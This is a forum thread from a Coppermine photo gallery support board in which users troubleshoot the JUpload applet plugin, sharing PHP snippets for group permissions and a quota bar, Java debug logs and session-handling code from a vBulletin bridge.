So this mod has anyone who can upload allowed access to this jupload? Do you already have a system to make it only people part of a group? My last jupload integration had this and it is a must have.

Ok here is your code:
Code: [Select]
// Check to see if user can upload pictures.  Quit with an error if he cannot.
if (!USER_CAN_UPLOAD_PICTURES && !GALLERY_ADMIN_MODE && !USER_ADMIN_MODE) {
    $msg =
    str_replace(
'$1',
'login.php?referer=plugins/jupload/jupload.php',
$lang_jupload_php['perm_denied'])
;

    cpg_die(ERROR, $msg, __FILE__, __LINE__);   
}

Here is example of my code that already features group permissions that can be integrated into yours either HARD code or plugin style:
Code: [Select]
// Check to see if user can upload pictures.  Quit with an error if he cannot.
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_USE_JUPLOAD && !GALLERY_ADMIN_MODE && !USER_ADMIN_MODE) {
    $msg =
    str_replace(
'$1',
'login.php?referer=plugins/jupload/jupload.php',
$lang_jupload_php['perm_denied'])
;

    cpg_die(ERROR, $msg, __FILE__, __LINE__);   
}

Now you can either keep the can upload pictures or just delete it and have jupload override. You will need to edit the template so the button or text does not show unless USER_CAN_USE_JUPLOAD. It would be very easy to integrate if you want the code. It has been around for 4 years. You can also look at my old thread for the FULL instructions on how to add it HARD code wise. Only would need to transfer that to your mod so it is not hard coded anymore. The admin control panel within the groups settings is where you allow that group to be able to use or not here is an image to show you. Now you can put the button where ever you want I just decided to put it there.


Also I am getting this error:

Code: [Select]
04:25:48.750 [INFO] Debug level set to 0
04:25:48.765 [INFO] Current debug output file: C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36685_log.txt
04:25:48.765 [WARN] Invalid int value: true, using default value: 0
04:25:48.875 [WARN] Invalid int value: , using default value: 0
04:25:48.875 [INFO] JUpload plugin for coppermine version 2.6.4
04:26:51.531 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36686.tmp)
04:26:52.359 [INFO] Start of metadata managing, for DSC00432.JPG
04:26:53.718 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36687.tmp)
04:26:54.546 [INFO] Start of metadata managing, for DSC00433.JPG
04:26:55.781 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36688.tmp)
04:26:56.593 [INFO] Start of metadata managing, for DSC00434.JPG
04:26:57.812 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36689.tmp)
04:26:58.640 [INFO] Start of metadata managing, for DSC00435.JPG
04:26:59.875 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36690.tmp)
04:27:00.703 [INFO] Start of metadata managing, for DSC00436.JPG
04:27:01.937 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36691.tmp)
04:27:02.750 [INFO] Start of metadata managing, for DSC00437.JPG
04:27:03.984 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36692.tmp)
04:27:04.796 [INFO] Start of metadata managing, for DSC00438.JPG
04:27:06.000 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36693.tmp)
04:27:06.812 [INFO] Start of metadata managing, for DSC00439.JPG
04:27:08.046 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36694.tmp)
04:27:08.859 [INFO] Start of metadata managing, for DSC00440.JPG
04:27:10.109 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36695.tmp)
04:27:10.937 [INFO] Start of metadata managing, for DSC00441.JPG
04:27:12.187 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36696.tmp)
04:27:13.140 [INFO] Start of metadata managing, for DSC00442.JPG
04:27:14.390 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36697.tmp)
04:27:15.218 [INFO] Start of metadata managing, for DSC00443.JPG
04:27:16.484 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36698.tmp)
04:27:17.312 [INFO] Start of metadata managing, for DSC00456.JPG
04:27:18.578 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36699.tmp)
04:27:19.421 [INFO] Start of metadata managing, for DSC00457.JPG
04:27:20.671 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36700.tmp)
04:27:21.500 [INFO] Start of metadata managing, for DSC00458.JPG
04:27:22.765 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36701.tmp)
04:27:23.593 [INFO] Start of metadata managing, for DSC00459.JPG
04:27:24.875 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36702.tmp)
04:27:25.828 [INFO] Start of metadata managing, for DSC00460.JPG
04:27:31.453 [INFO] Debug level set to 1
04:27:31.453 [INFO] Current debug output file: C:\DOCUME~1\AWJUNK~1\LOCALS~1\Temp\jupload_36685_log.txt
04:27:47.000 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
04:27:47.000 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
04:27:47.000 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:600)
04:27:47.000 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
04:27:47.000 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
04:27:54.281 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response (An error occured during log management (readingHttpBody))
04:27:54.281 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
04:27:54.281 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1052)
04:27:54.281 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:542)
04:27:54.328 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 10, 2007, 01:42:47 pm
So this mod has anyone who can upload allowed access to this jupload? Do you already have a system to make it only people a person part of a group? My last jupload integration had this and it is a must have.

Hi,

  I don't understand your qestion.

Do you mean: restrict access to JUpload ?
If this is your question, you should go to the JUpload configuration page. Some available parameters could correspond to your question.

Also I am getting this error:

  Please, put debug on and send me the debut output.

For a howto, take a look at the available doc.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 02:01:12 pm
Also how about a users available space bar within the upload template. Here is the code for it that is already in my old jupload system.

Here is the function:
Code: [Select]
// Opens all data for the users quota
function startquotadata(){
global $CONFIG;
global $USER_DATA;

$results = cpg_db_query("SELECT sum(total_filesize) FROM {$CONFIG['TABLE_PICTURES']} WHERE owner_id = " . USER_ID);
$record = mysql_fetch_array($results);
        $total_space_used = $record[0];
$total_space_used = round($total_space_used / 1048576, 2);
$quota = $USER_DATA['group_quota'];
$quota = round($quota/1024, 2);
if($quota == 0) {
//User has no quota, so don't display quota message.
}
else {
$percentage = round(100 * ($total_space_used / $quota), 2);
if($percentage <= 60) {
$color = '#00A000';
$color1 = '#FFFFFF';
}
elseif($percentage > 60 && $percentage < 80) {
$color = '#FFD300';
$color1 = '#FFD300';
}
elseif($percentage >= 80) {
$color = '#FF0000';
$color1 = '#FF0000';
$upgrade_now = '<a href="upgrade.php"><font color="#FF0000">Upgrade NOW!</a>';
}
$prog_width = round($percentage, 0);
if ($prog_width > 100) {
$prog_width = 100;
}
starttable("100%", "<div align=center><b>You are currently using $total_space_used MB <font color=$color1>($percentage%)</font> of your $quota MB of storage. $upgrade_now</b></div>", "2");
echo '<tr><td class="tableh2"><div align="left" style="display:block; margin-top:5px; margin-bottom:5px; width:100%; border:1px solid #000000; height:10px;">';
echo '<div align="left" style="display:block; background-color:'.$color.'; width:'.$prog_width.'%; height:10px; color:#000000;"></div>';
echo '</div>';
echo '</div></td></tr>';
endtable();
echo '<br>';
}
}

Then you just put startquotadata(); wherever you want it to display here is example picture.

The first image jupload2.jpg is from my old mod

The second image quotabar.jpg is added to your mod

It is as easy as 1 2 3 and you can even set for it to display or not in your control panel. It only was editing 2 files of yours which it only added a function and a one liner.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 02:19:12 pm
Hi,

  I don't understand your qestion.

Do you mean: restrict access to JUpload ?
If this is your question, you should go to the JUpload configuration page. Some available parameters could correspond to your question.

  Please, put debug on and send me the debut output.

For a howto, take a look at the available doc.

Etienne

See you only have restrictions 3 which none allow for people to still upload the normal way but people with added benefits say donators or higher group get to use jupload. That is reason for the mod I don't want everyone even the people who are allowed to post allowed to use jupload. I am suggesting usergroup which is already done and working with this mod back 4 years ago. To integrate it as another option would be as easy as 1 2 3. I have all the coding you just need to add it to mod. I can add it now and show you a test site version of it so you can see what I am talking about. Along with the quota box.

File attached is FULL details below is the actual errors.

Error
Code: [Select]
05:14:19.171 [DEBUG] --------- Response Body End ---------
05:14:20.781 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
05:14:20.796 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
05:14:20.796 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:600)
05:14:20.796 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
05:14:20.796 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
05:14:20.796 [DEBUG] FileUploadThread: within run().finally
05:14:20.796 [WARN] Temporary file not deleted

And later
Code: [Select]
05:14:22.343 [DEBUG] Using non SSL socket, direct connection
05:14:25.453 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response (An error occured during log management (readingHttpBody))
05:14:25.453 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
05:14:25.453 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1052)
05:14:25.453 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:542)
05:14:25.453 [DEBUG] Sent to server: POST http://www.allwheeljunkies.com/awphotos/index.php?file=jupload/jupload&action=log_error HTTP/1.1
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 02:41:49 pm
Ok tested it on others browsers and here is the results:

Opera Version
9.24
Build
8816
Platform
Win32
System
Windows XP
Java
Sun Java Runtime Environment version 1.5
Works PERFECT!

IE version
7.0.5730.11
JAVA Version 1.5.0 (build 1.5.0_06-b05)

Once I click the Jupload link that is on navbar I get a huge error:
Microsoft Visual C++ Runtime Library
Runtime error!
Program: C:\Program Files\Internet Explorer\iexplore.exe
abnormal program termination
and I click ok and it closes the browser.

FireFox Version 2.0.0.11
JAVA Version 1.5.0 (build 1.5.0_06-b05)
I get the error that is posted above in the last few posts.

Any ideas what is going on here?

Header related??? I tried another theme untouched and it has same errors on all browsers.
I reverted back the old jupload and still same errors. Does this mod use any files off the coppermine system that I might have edited that are causing this issue. I have few mods like fade in our images and custom image URL forum coding under image. But none of this has anything to do with upload system. I am stumped is there some settings I needed to set first for the mod. I see some file under user that says put config file here or something what is this about? I don't see anywhere in instructions to do anything with this.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 04:12:09 pm
It looks like it is not passing that I am logged in. If you look at the error file you will see the output page doesn't show me logged in because it is showing the register and log in button. Does this have any effect? I am not sure how you have this mod passing the user id and password which were required with old jupload mod.

By the way I have Vb bridge on. I will try turning it off and see what happens to rule that out as well.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 04:35:05 pm
YEP found the problem for why FF is not working. It is the bridge once I turned it off the mod worked. So it has to do with whatever you are doing with passing the userid and pass (cookies/sessions etc). I have to look more into your mod. Any input would be great! I am going to look into your coding more and see if I can not fix this right up  ;D

The issue with IE is still there when I reverted back so any input on that would be great. So weird how opera worked and FF did not and not sure really what is happening. Just know the bridge is not helping the situation.

PLEASE ANY MOD OR ADMIN MERGE MY POSTS or delete as necessary. Some of this is very informative and addon suggestions with proof etc you know the drill.

I am lost I still don't know why IE would go crazy and throw up that error. No luck with FF yet either.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 10, 2007, 07:36:36 pm
DUDE I just went to your test site and IE throws a FATTY message same as mine when I installed! IS this not compliant? Will test Fx as well on your test and see what happens.

I figured out one big issue your mod says 1.5 java or higher. BUT this is wrong you need 1.6 the latest and greatest java 6 for this mod to work in all browsers.

My question to you is this are you doing testing for these mods on a MAC? and in what browsers? and what java?

So far java 6 IE7 and Fx work on your test site now. 1.5 the does NOT. This is on a PC not MAC. Mac for some reason is different. I have friend testing it on a mac and there are errors within the java applet with Fx and IE but not with Opera. Why is Opera so dam cool.

Now IE and Fx work for my site but get same error as above which I think is linked to the bridge system. Presuming it is the Auth function where you are getting the userid and password to pass to jupload for it to upload. If you can help point me to how you are getting those variables and passing them. I have been looking at code and cant find it. Been up all night so may have passed it 10 times and didn't realize it. Let me know about integrating these other features to the mod as well. I have both functioning on my site now.

NOTE: With or without the mods I did to your mod I get same issue so don't make it lead towards that being issue.
Title: Re: Upload applet (JUpload)
Post by: AWJunkies on December 10, 2007, 09:21:45 pm
Probably caused by the bridge; vb's session cookie is not being sent to Coppermine by jUpload so it can't recognise you. Try allowing anonymous uploading on the groups page.

Now I did what Nibbler said and it does work as in goes through all the stages and the files go into the to be moderated section on admin panel.

Here is the code for the function session extraction for vbulletin.inc file for bridge:
Code: [Select]
// definition of how to extract id, name, group from a session cookie
function session_extraction()
{
if (isset($_COOKIE[$this->cookie_name . 'sessionhash'])) {
$session_id = addslashes($_COOKIE[$this->cookie_name . 'sessionhash']);

$sql = "SELECT u.{$this->field['user_id']}, u.{$this->field['password']}, u.{$this->field['grouptbl_group_id']}+100 AS usergroupid FROM {$this->usertable} AS u, {$this->sessionstable} AS s WHERE s.{$this->field['user_id']}=u.{$this->field['user_id']} AND s.sessionhash='$session_id'";

$result = cpg_db_query($sql, $this->link_id);

if (mysql_num_rows($result)){
$row = mysql_fetch_array($result);
return $row;
} else {
    return false;
}
}
}
And here is the code standard within coppermine.inc:
Code: [Select]
        // definition of how to extract id, name, group from a session cookie
        function session_extraction()
        {
            global $CONFIG;

                // Default anonymous values
                $id = 0;
                $pass = '';

                // Get the session cookie value
                $sessioncookie = $_COOKIE[$this->client_id];

                // Create the session id by concat(session_cookie_value, client_id)
                $session_id = $sessioncookie.$this->client_id;

                // Lifetime of 'remember me' session is 2 weeks
                $rememberme_life_time = time()-(CPG_WEEK*2);
       
                // Lifetime of normal session is 1 hour
                $session_life_time = time()-CPG_HOUR;
       
                // Delete old sessions
                $sql = "delete from {$this->sessionstable} where time<$session_life_time and remember=0;";
                cpg_db_query($sql, $this->link_id);
       
                // Delete stale 'remember me' sessions
                $sql = "delete from {$this->sessionstable} where time<$rememberme_life_time;";
                cpg_db_query($sql, $this->link_id);
       
                // Check for valid session if session_cookie_value exists
                if ($sessioncookie) {
       
                    // Check for valid session
                    $sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
                    $result = cpg_db_query($sql);
       
                    // If session exists...
                    if (mysql_num_rows($result)) {
                        $row = mysql_fetch_assoc($result);
                        mysql_free_result($result);
       
                        $row['user_id'] = (int) $row['user_id'];
       
                        // Check if there's a user for this session
                        $sql =  'select user_id as id, user_password as password ';
                        $sql .= 'from '.$this->usertable.' ';
                        $sql .= 'where user_id='.$row['user_id'];
                        $result = cpg_db_query($sql, $this->link_id);
       
                        // If user exists, use the current session
                        if ($result) {
                            $row = mysql_fetch_assoc($result);
                            mysql_free_result($result);
       
                            $pass = $row['password'];
                            $id = (int) $row['id'];
                            $this->session_id = $sessioncookie;
       
                        // If the user doesn't exist, use default guest credentials
                        }
       
                    // If not a valid session exists, create a new session
                    } else {
       
                        $this->create_session();
                    }
       
                // No session exists; create one
                } else {
       
                    $this->create_session();
                }

                return ($id) ? array($id, $pass) : false;
        }

As you can see they are very different. Any ideas how to integrate this with your process of jupload? I have it working with my jupload and can show you how I did it. But I used jupload to auth not coppermine if that makes sense. I will explain more once you respond to all this.

Attached is the data for when I allow global everyone to upload. So it seems it has to do with passing the user session.

I see you are using the java program itself to send the $Cookie value. So there is something wrong with the program grabbing the cookie in the first place and outputting the wrong one or just outputting the wrong one OR? ? ? ? ?? ? ? ? It would be nice to have some help :) Still trying to figure out how you set this whole thing up. Totally different then older jupload integrations from years ago.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 11, 2007, 08:09:51 am
I haven't used coppermine in a while and just reinstalled the new version.  With the download of the latest version of JUpload, when I select categories and albums, the icon just keeps spinning.  I think I had this problem with a previous issue, but I cannot remember the fix for it.

Here is the url to the JUpload: http://skidpics.com/gallery/index.php?file=jupload/jupload  (http://skidpics.com/gallery/index.php?file=jupload/jupload)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 11, 2007, 10:22:53 am
I am not getting that issue in any of the browsers opera, IE7, Fx on your site.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Farnsi on December 11, 2007, 12:35:10 pm
neither do i.
FF 2.0.0.11, IE7
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 11, 2007, 03:21:51 pm
just a test site. real site is at skidpics.com

Either way, firefox working fine right now.  IE7 works, but the firefox plugin I was using doesn't (firefox IE plugin)

Last issue, the applet size will not change on my screen even when I change the config options to height 300 and width 450..  the applet stays the same size...
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 12, 2007, 03:19:59 pm
Also how about a users available space bar within the upload template. Here is the code for it that is already in my old jupload system.

Excellent !

  I added it on my todo list. I'm still fighting to add proper encoding for form parameters. Almost done.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on December 12, 2007, 03:39:19 pm
Now I did what Nibbler said and it does work as in goes through all the stages and the files go into the to be moderated section on admin panel.

Here is the code for the function session extraction for vbulletin.inc file for bridge:
<code samples removed>

As you can see they are very different. Any ideas how to integrate this with your process of jupload? I have it working with my jupload and can show you how I did it. But I used jupload to auth not coppermine if that makes sense. I will explain more once you respond to all this.

Attached is the data for when I allow global everyone to upload. So it seems it has to do with passing the user session.

I see you are using the java program itself to send the $Cookie value. So there is something wrong with the program grabbing the cookie in the first place and outputting the wrong one or just outputting the wrong one OR? ? ? ? ?? ? ? ? It would be nice to have some help :) Still trying to figure out how you set this whole thing up. Totally different then older jupload integrations from years ago.

The plugin doesn't take care about session. I let standard Coppermine function works. So I'm suprised that JUpload doesn't work in bridge mode.
  But several people said it. I guess it used to work. I'll look for that after the current work I'm on.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 12, 2007, 04:12:39 pm
Last issue, the applet size will not change on my screen even when I change the config options to height 300 and width 450..  the applet stays the same size...

I'll check that
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 13, 2007, 02:22:42 am
Thanks I look forward from hearing from you. So weird that Opera would works (about 70% of the time). Some times it looses the bridge session and causes issues but that is not with your mod it is something else.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: lowkey on December 17, 2007, 06:47:55 pm
For the most part, this plugin is working like a breeze for me.  There's only one odd thing that happens.  If I upload an MP3 (or presumably any other media file that doesn't have video/picture data), the mediaplayer pops up as if there is some picture data, and then closes down to just the shuttle controls.  This is not really that big of a deal, but it does change the formatting of the page by leaving empty real estate (it basically goes from large to small, but the space it one occupied is now just occupied by an outline).  I have yet to find any info about this in a search.  This does not happen when I use the standard coppermine upload.  So, I was wondering if there is something in the code I can tweak to fix it?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: lemonlime on December 18, 2007, 05:49:56 pm
This WAS working great for me, now I get permission errors but I haven't changed anything. I've tried uninstalling and reinstalling it to no avail. Any ideas?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 18, 2007, 07:01:14 pm
Any new updates before the new year?  ;D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 20, 2007, 10:24:29 am
For the most part, this plugin is working like a breeze for me.  There's only one odd thing that happens.  If I upload an MP3 (or presumably any other media file that doesn't have video/picture data), the mediaplayer pops up as if there is some picture data, and then closes down to just the shuttle controls.  This is not really that big of a deal, but it does change the formatting of the page by leaving empty real estate (it basically goes from large to small, but the space it one occupied is now just occupied by an outline).  I have yet to find any info about this in a search.  This does not happen when I use the standard coppermine upload.  So, I was wondering if there is something in the code I can tweak to fix it?


Honnestly, I didn't try it. One of my plan, is a way to hear MP3 through the applet, before upload. But I switched to other tasks.

I'll try MP3 upload.

Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 20, 2007, 10:25:52 am
This WAS working great for me, now I get permission errors but I haven't changed anything. I've tried uninstalling and reinstalling it to no avail. Any ideas?

You don't give much info.

  Can you switch debug on (see the plugin doc), and attach the debug output to the thread ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 20, 2007, 10:30:04 am
Any new updates before the new year?  ;D


FYI, here is the current dev state:

1) Add of parameter (title, desc...) for all pictures of the same upload: done.
2) Proper encoding through the whole applet (parameters of point 1 and filename): done.
  (was an important rewritting of internal applet code)
3) Add of your quota stat bar: done
4) I'm fighting against an annoying bug: internal java code seems to dislike filename with non-ASCII characters, when running within the navigator (works ok when testing executing in stand alone). I'm trying to find a workaround.


Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 20, 2007, 05:24:30 pm
awesome glad to hear. I hope you edited my code for the bar because that was an old mod to transfer the person to an upgrade.php file to let them upgrade there status on the site through subscriptions. It is not needed with this mod so please look at that and remove the $variable in the last 80% and higher. And in url line code right below that.

Also any ideas to add per usergroup selectable permissions for using jupload? I have complete code ready for you. Want me to post it? It is also already posted in the batch upload 1.4 thread in mods.

Thanks for the update and hope it we can figure out the issue with bridging I am having as well.

Here is the link to the code:
http://forum.coppermine-gallery.net/index.php?topic=27138.0
I couldn't edit the thread because it is locked but you can see and separate the code for JUPLAD portion to add the permission to select per usergroup separate from can upload. Allows for upgradeable service to allow JUPLOAD.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: natrlhy on December 21, 2007, 12:43:31 am
I just installed this plugin and it worked great! Thank you for this excellent plugin and contribution!

I have 1 question right now...

When does this message (appears at the top of my site) go away?

Migrating the JUpload configuration: the plugins/jupload//user/config.inc.php is not more used. Data is now stored in the Coppermine database.
This messsage (and migration) will occur only once.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: natrlhy on December 21, 2007, 03:07:37 am
I'm also getting a Microsoft Visual C++ Runtime Library error after updating to 5.0 update 12 of J2SE with an abnormal program termination error. It then closes iexplorer.exe and I can't get into the upload page with IE. Firefox seems OK however.


UPDATE:

I just updated my wife's system from Java 5.0 to 6.0 update 3 and it seems to have fixed the issue.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 22, 2007, 07:22:29 am
I'm also getting a Microsoft Visual C++ Runtime Library error after updating to 5.0 update 12 of J2SE with an abnormal program termination error. It then closes iexplorer.exe and I can't get into the upload page with IE. Firefox seems OK however.


UPDATE:

I just updated my wife's system from Java 5.0 to 6.0 update 3 and it seems to have fixed the issue.


Was just about to say had same issue this software needs latest and greatest java to work and he needs to update the requirments accordingly. Java 5.0 will not work for this mod tested on 4 browsers 3 OS's and Mac. All with variable results.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 22, 2007, 03:59:08 pm
Last issue, the applet size will not change on my screen even when I change the config options to height 300 and width 450..  the applet stays the same size...

I'll check that


Any luck yet or do you think it is my system specific?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 22, 2007, 07:00:03 pm
Any luck yet or do you think it is my system specific?

I will test this and get back to you in few hours. Any luck with my issues I am having?
Title: album dropdown spinning in IE
Post by: skidpics on December 23, 2007, 06:56:51 am
I thought I had this issue resolved via a reply from an earlier thread, but not it appears the album category dropdown icon is spinning now only in IE7, NOT firefox.  Any help would be appreciated..

http://skidpics.com
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 26, 2007, 07:03:52 pm
I just installed this plugin and it worked great! Thank you for this excellent plugin and contribution!

I have 1 question right now...

When does this message (appears at the top of my site) go away?

Migrating the JUpload configuration: the plugins/jupload//user/config.inc.php is not more used. Data is now stored in the Coppermine database.
This messsage (and migration) will occur only once.


  AFAIR, this message is due to a migration from the old parameter storing to the new one. It should be displayed only once. The old user.inc.php file is removed, and the plugin parameters are now stored in the database.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 26, 2007, 07:05:34 pm
Any luck yet or do you think it is my system specific?

applet sizing through configuration parameters: works for me.

Perhaps you updated the PHP code, like I suggested in an old post (before these config parameters exist)

Etienne
Title: Re: album dropdown spinning in IE
Post by: etienne_sf on December 26, 2007, 07:06:32 pm
I thought I had this issue resolved via a reply from an earlier thread, but not it appears the album category dropdown icon is spinning now only in IE7, NOT firefox.  Any help would be appreciated..

http://skidpics.com


Too many messages ... 

Can you repeat the exact problem(s) you have ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 26, 2007, 07:15:06 pm
awesome glad to hear. I hope you edited my code for the bar because that was an old mod to transfer the person to an upgrade.php file to let them upgrade there status on the site through subscriptions. It is not needed with this mod so please look at that and remove the $variable in the last 80% and higher. And in url line code right below that.

I've seen link to this update.php, and wanted to check that ... 
I'll remove the link.


Also any ideas to add per usergroup selectable permissions for using jupload? I have complete code ready for you. Want me to post it? It is also already posted in the batch upload 1.4 thread in mods.

Thanks for the update and hope it we can figure out the issue with bridging I am having as well.

Here is the link to the code:
http://forum.coppermine-gallery.net/index.php?topic=27138.0
I couldn't edit the thread because it is locked but you can see and separate the code for JUPLAD portion to add the permission to select per usergroup separate from can upload. Allows for upgradeable service to allow JUPLOAD.

I'll take a look at it. Probably not in the next version, but in the one after.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 26, 2007, 09:51:27 pm
applet sizing through configuration parameters: works for me.

Perhaps you updated the PHP code, like I suggested in an old post (before these config parameters exist)

Etienne

The resize in the config is not working for me.  I have  a fresh install of coppermine, and I did not tweak the plugin. 

I will attached a screen shot of the issue.

current setting size is:  height 300 and width 400

it does not appear to change with any different settings. 
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 26, 2007, 10:51:52 pm
The resize in the config is not working for me.  I have  a fresh install of coppermine, and I did not tweak the plugin. 

I will attached a screen shot of the issue.

current setting size is:  height 300 and width 400

it does not appear to change with any different settings. 

Your screenshot doesn't show the default width. It means for me that the config parameter works Ok. If it's not the size you are requesting, there is something else, I guess.

1) Can you check the files you have in the coppermine/plugins/jupload/user/ directory ?
2) Can you give me the HTML source for the page containing the applet ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 26, 2007, 11:00:26 pm
Quote
1) Can you check the files you have in the coppermine/plugins/jupload/user/ directory ?
2) Can you give me the HTML source for the page containing the applet ?

Etienne

I have 2 files in there index.html, 0 bytes and readme.txt - I did read this file just now and it states to put "user.inc.php" into this directory - would that make any difference?

Source? I just applied it as a plugin - which file do you need to see? codebase.php?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on December 26, 2007, 11:03:32 pm
I have 2 files in there index.html, 0 bytes and readme.txt - I did read this file just now and it states to put "user.inc.php" into this directory - would that make any difference?

Source? I just applied it as a plugin - which file do you need to see? codebase.php?

Check 1, Ok. You don't have old files in this direcrory.
Check 2 : Just copy the HTML content from your navigator, with right click on the page. You can check yourself wichi value is in the width and height parameter of the last APPLET tag (named JUpload, not emptyApplet)

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 26, 2007, 11:11:14 pm
